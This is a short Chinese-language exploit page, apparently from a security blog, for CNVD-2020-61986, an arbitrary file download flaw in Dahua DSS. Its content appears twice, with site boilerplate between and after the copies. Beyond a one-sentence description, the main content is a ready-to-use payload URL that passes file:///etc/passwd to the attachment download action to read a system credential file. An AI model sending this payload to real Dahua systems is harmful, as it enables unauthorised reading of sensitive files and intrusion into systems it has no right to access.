# CNVD-2020-61986 大華DSS系統任意文件下載漏洞/zh-tw
==漏洞簡介==
浙江大華技術股份有限公司DSS存在任意文件下載漏洞,攻擊者可利用該漏洞登錄界面下載任意文件獲取敏感信息。
==Payload==
http://ip/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
# CNVD-2020-61986 大華DSS系統任意文件下載漏洞/zh-tw
==漏洞簡介==
浙江大華技術股份有限公司DSS存在任意文件下載漏洞,攻擊者可利用該漏洞登錄界面下載任意文件獲取敏感信息。
==Payload==
http://ip/itc/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd
请登录后查看评论内容